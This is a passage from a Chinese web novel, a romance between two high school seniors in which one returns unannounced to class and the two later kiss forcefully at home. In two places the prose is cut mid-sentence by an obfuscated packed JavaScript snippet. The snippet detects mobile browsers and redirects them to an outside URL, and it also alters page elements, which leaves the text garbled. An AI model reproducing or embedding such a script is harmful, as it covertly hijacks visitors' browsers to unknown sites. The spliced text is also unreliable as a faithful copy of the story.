高三复习的语文课确实是很无聊。以前之所以没有注意,是因为身边还有一个天天把手机藏在桌底打游戏的林藏初。 手机没电了就睡觉。一直睡到下节的物理课,被老师喊起来罚站的时候,脸上还带着压出来的笔印子。 语文老师开始喊人提问,他在周围一整片哗啦啦翻书的声响中回过神,视线里只剩下窗边那张空空荡荡的桌子。 谢遥集的心里也像是缺了块角,最重要的地方在那个烟花漫天的元宵节的夜晚,被人堂而皇之地摘下来,揣进口袋里带走了。 而“罪魁祸首”的聊天框从昨晚一直沉寂到现在,连着很多个小时都没有消息。 其实他早应该习惯的。 谢遥集垂着眼睛,心想:怎么可能会有人一直做到事无巨细的汇报呢? 林藏初当然有他自己的事情要忙。 两个人本就不可能每天都时时刻刻地黏在一起,更何况还是相隔千里之外的异地。 谢遥集的目光重新落回到黑板上,白色的粉笔字迹寥寥无几,他却一个字都看不进去。 提问环节过后教室又重新变得安静。 语文老师背着手走回讲台,开始讲这张试卷的下一部分。语言文字运用。 第一题括号里选A,第二题横线上填B,第三题没有语病的是D。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14856273|147824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都是很基础的题,谢遥集把卷子翻过去,从中间的痕迹对折压平。 不知为何心里总觉得有些不安。 以往林藏初这个时间段就算再忙都会见缝插针地发几张照片过来,今天还是头一次如此彻底地杳无音信。 锁着屏的手机静静躺在桌屉缝隙里,谢遥集坐在座位上,向后直了直身体,视线微不可察地投下去。 几秒钟后,也可能是十几秒钟后。 原本毫无动静的手机屏幕忽然亮了下。 上面闪出一条新消息通知。 谢遥集的心跳倏地错了半拍,放在桌面上的手指缓缓挪动,悄无声息地摸进了桌屉里。 锁屏密码被他屏着呼吸迅速划开,甚至Q/Q的聊天界面也因为点得太快而卡顿几秒。 不知过了多久,白色的加载圆圈终于消失。谢遥集看到消息列表里的那条熟悉的置顶,备注后面坠着个代表未读的小红点。 -菜就多练:给你个惊喜。 -菜就多练:抬头。看门外。 ……什么意思? 收到消息的人握着手机怔了两秒,原本敏锐灵活的思维像是老旧碟片忽然卡带。 课堂里的讨论声被一阵不轻不重的敲门声打断了,随即是少年清润的、熟悉到不能再熟悉的嗓音:“报告。” 这句话的声音并不大,甚至还被走廊里的风声吹散了些。但原本嘈杂的教室就像被按下了暂停键一般,瞬间变得寂静起来。 谢遥集从座位上愣愣地抬起头。 心脏跳得几乎要炸开,他忽然意识到某种概率几乎为零的可能性。 在梦里无数次描摹过的人。刚刚还在给他隔着千里之外发消息的人。 他每天每时每分每秒都在想念的人。 就这么倏然而至地出现在眼前。少年懒懒散散地站在教室外面的走廊里,身上还带着一路的风尘仆仆。 林藏初收回自己刚刚敲门的手指,视线越过教室里无数双震惊或是好奇的眼睛,准确无误地落在谢遥集的脸上。 他弯着眼睛,语气轻快地说道:“抱歉,我迟到了。” 走廊里的阳光照进来,在林藏初稍显凌乱的发丝间镀上漂亮的碎金色。 他并没有穿校服,上身套了件宽松的连帽卫衣,是很简单的款式。 谢遥集根本听不清语文老师和同学们说的话,他整个人像是被定住了,只有视线还死死地黏在少爷的身上。 几个月没见,个子好像长了点儿。 脸似乎也瘦了。 下巴轮廓比视频里看上去明显很多。 右手插在口袋里。 是因为还握着刚才给他发消息的手机吗? 乱成麻的想法不顾大脑的控制意愿,一句接着一句地在心里抽茧剥丝、穿针引线,组不成带有逻辑性的句子,也没办法变成可以剖白的自述。 被强行压下去的思念开始肆虐反噬,如同洪水一般排山倒海地漫上来,几乎冲塌了他所有的情绪防线。 有什么东西顺着脸颊滑下来,沿着唇瓣并入舌尖,是咸的。 谢遥集怔愣地摸了下脸,茫然心想。 为什么会忽然回来呢? ……是因为那边出了什么事吗? 94.Chapter 94 剧烈情绪起伏导致的耳鸣过去,他得以听清林藏初对其他同学说的话。 “嗯,不走了。会待到高考之后。” “……”不走了? 停顿僵硬的思绪被这三个字灌满,谢遥集像是终于记起来自己还会呼吸的事实,猛地吸了口气。 林藏初已经走到了他的座位旁边。 停在距离半米的位置,微微弯下腰,宽大的卫衣领口随着他的动作下滑几厘米。 放着试卷的桌面被少爷用指节反扣着敲了敲:“同桌啊,麻烦让个路呗……” 本来是故作不熟的调侃语气,却在看清谢遥集脸上的痕迹时突兀中断。 少爷尚未出口的揶揄变成一种肉眼可见的慌乱:“我靠,你咋啦?” 兴许是顾及着老师还没下课,少爷这句慌里慌张的话讲得很小声,距离猛地拉进,嘴唇险些撞上对方的耳廓。 两个人一站一坐,林藏初站在外面还没来得及进去,从旁人的角度来看,谢遥集就像是被他拢在怀里一样。 谢遥集低声说:“风太大。” “窗外的灰尘吹进来,迷到眼睛了。” 他从座位上站起身,脑袋被照在桌面上的阳光晃得有些晕,让开的动作也跟着晃了晃。 谢遥集下意识地扶住桌角,抓紧。 少爷搭在课桌边缘的右手还没来得及收回去,漂亮匀称的手背暴露在阳光里,上面是一条细长的浅淡疤痕。 两个人的指尖相距不过几厘米。 谢遥集按在桌面的手指倏地卸了力,错弦似的,抬起来一寸寸地朝着那只手挪过去。 等他反应过来的时候,自己的掌心已经覆在少爷的手背,十指交错地把人紧紧地扣在了桌面上。 林藏初似乎没能料到谢遥集的动作,他愣了下,几乎是下意识地向旁边挪了一步。 ——将其他人向这边看过来的目光挡得严严实实。 “……” 少爷的手指还被对方死死地抓着,谢遥集掌心的温度要比他低得多,像是一块刚从融化解冻河流里捞出来的冰。 林藏初几个月都没正八经儿地跟人牵过手,刚回来就在教室里被男朋友大庭广众地按着手背“调情”,霎时有些脸红耳热。 他干咳两声,飞速地转过头,悄悄看了眼讲台上仍在讲课的语文老师。 确定老师的目光真的没有注意这边,他搭在桌面上的胳膊用了些力,想把自己的手指抽出来。 结果刚试探着往外挪了一点点,就感觉到不对劲—— 林藏初的动作倏地停住了。 他的视线落在两个人相互交叠的手上。 ……谢遥集的手指在抖。 轻微到几乎毫不可察的程度,如果不仔细地盯着看根本就发现不了。 少爷愕然抬头,张了张嘴,看样子是想要问些什么。 窗外的光线不合时宜地晃进眼睛,林藏初的视野模糊一瞬,没能看清谢遥集的表情,但对方忽然动了。 几秒钟后,搭在他手背上的冰凉触感缓缓抽离,林藏初的腰际被人隔着卫衣克制地扶住,然后力道很轻地向座位里面推了下。 “进去坐。”他听见谢遥集说。 * 直到中午放学的铃声响起,林藏初都没能跟男朋友再讲上第二句话。 对方整整半节语文课都在忙着学习,不是在抄黑板上的笔记,就是在整理文言文课外注释。 少爷盯着他轮廓分明的侧脸,上面看不出来任何痕迹,林藏初几乎怀疑自己刚才出现了错觉。 顺着谢遥集的目光,他抬起头看向黑板上面的粉笔字,结果只看见了语文老师讲课时随手写上去的只言片语。 连起来都组不成一条完整的知识点。 ……这也用记? 林藏初皱着眉收回视线,总感觉自己不过是出去一段时间,再回来好像什么都变了。 如果没记错的话——谢遥集以前好像是从来都不听语文课的。 现在这是大彻大悟洗心革面了? 语文老师还剩两道题目没讲完,因而比其他班级多拖了几分钟的堂。 外面走廊里的熙攘声犹如千军万马奔腾而过,毫不留情地把老师最后的讲课声彻底淹没。 语文老师无奈地放下卷子,宣布下课。 教室里煎熬坐着的学生们就等她这句话,立刻闻声而动集体欢呼,你推我搡地一窝蜂地冲向教室门口。 林藏初还坐在座位上没动,看着班级中间那几条被撞歪了的无辜桌子,心里打补丁般地想: 好吧。也不是所有的东西都变了。 坐在身边的谢遥集也没有动,他将自己抄了半节课的“语文笔记”缓缓合上,偏过头看过来。 林藏初被他平直的视线扫了个正着,不知道为什么,竟然莫名其妙地有点心虚。 少爷的大脑飞速运转,短短几秒钟内把自己能想到的、有可能犯过的错误全过了一遍,最后咽了咽口水。 半点停顿没有地一口气全部说完:“我不是故意不回你消息的昨天睡太早了手机忘记充电今天早上着急又赶飞机……” “……咳,总之对不起。” 谢遥集坐在座位上安静地听完他的长篇大论,没说话,也没什么表情。 那双狭长漂亮的桃花眼就这么看着人,从上至下地扫过去,然后很轻地眨了下。 这人不说话的时候尤其吓人。少爷心里瘆得慌,又开始更为仔细地想:难不成是因为今天早上没有给他发早餐照片吗? 可是凌晨六点哪来的时间吃早饭啊? “从市里打车到县城要三个多小时。” 不知过了多久,林藏初终于听见这人开口,说话的声音低到几乎听不见。 谢遥集的视线落在他略显凌乱的发丝间,手指缓缓抬起来,帮对方把额前的碎发向着耳后很轻地捋过去:“……累不累?” “……”林藏初脑袋里所有的胡思乱想瞬间停滞,像是宴会上一整套的瓷杯碗碟不小心掉落在地,噼里啪啦地碎成了渣。 这个动作实在太过亲昵,林藏初的理智当场宕机,对方收回手的时候,他下意识地向前凑了凑脑袋。 右手掌心猝不及防地传来头发细软的触感,谢遥集的动作猝然一顿,喉结不受控制地上下滚了滚。 林藏初意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14864085|147824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 识到自己方才做了什么的时候已经晚了。羞耻当头,他条件反射般从座位上“噌”地站起来。 动作太大,椅子不小心撞到后面的课桌,发出一道巨大的哐当声响。 “我……那个……” 好像无论什么解释,在这种时候都会显得很苍白无力。 少爷在男朋友面前干巴巴地“我”了半天,肚子里忽然清楚地传来饥饿的咕噜声。 “……”林藏初能感受到谢遥集的视线落下去,如有实质地在他的腹部逡巡了几圈,“那个,呃。” “时间不早了……我们吃饭去吧?” - 这顿午饭到底还是没能吃上。 林藏初被谢遥集拽着卫衣袖子一路沉默地从学校领回家,防盗门一关,还没来得及开口说话,整个人就已经被他抓着手腕压在了墙上。 出租屋的墙面是种粗粝的水泥质感,对方灼热的呼吸喷在脖颈间,少爷被迫仰起头,紧接着喉结处传来一阵细密的钝疼。 他吃痛地嘶了声,下意识地张嘴要骂:“谢遥集你他妈属……” “……唔!!” 剩下的话没能骂出来,因为谢遥集强行把他的嘴给堵上了。 嘴唇和嘴唇毫无章法地撞在一起,刚从喉结上离开的牙齿立刻找到了新的猎物,叼着唇瓣很重地研磨起来。 少爷哪里受得住这种不讲道理的亲法。 两只手腕被人死死地单手掐住,禁锢在头顶上方动弹不得。他的脑袋还懵着,生理性的泪水就已经先一步地从眼尾掉下来。 湿润的舌尖抵开齿关长驱直入,林藏初在对方近乎窒息的攻城掠池里,迷迷糊糊地尝到自己口腔中忽然蔓延开的铁锈味,还有眼泪顺着唇缝滑进来时的咸。 想说的话在喉咙里被搅成支离破碎的短音节,长而密的睫毛被泪水糊成好几簇。 林藏初腿软得几乎站不住,身体开始软绵绵地沿着墙面下滑,又被人搂着腰不由分说地提上来。 “……” 模糊的视野里是谢遥集那张漂亮得有些过分的脸,眼镜被他不知道什么时候摘了下来。少爷被对方狭长的桃花眼晃得微微出了神,意识也跟着混沌,整个人像是踩在云里。 卫衣下面的胸膛急促地起伏着,他被亲得实在是喘不上气,嘴里含含糊糊地开始抗议。 这种形式上的主观抗议似乎是见了效,因为谢遥集忽然把他松开了。 林藏初终于在这场狂风骤雨般地亲吻里得以喘息,他靠着墙大口大口地吸着气,闭上眼睛、睁开,又再次闭上。 断了半天的理智重新接上,少爷觉得自己理应好好地跟谢遥集算一笔账。 ——不能再这样了,至少不能像今天这样,连招呼都不打地忽然就把他推在墙上啃。 林藏初用自己尚处混沌的大脑组织好语言,贴着对方的唇瓣刚要开口。 有什么温热的液体掉在脸颊上。 ……不是他自己的。 少爷愕然地睁开眼睛,看见谢遥集低着头,与他鼻尖碰着鼻尖。 漂亮的眼睛里满是泪水,正在很安静地往下落。 林藏初:“……?”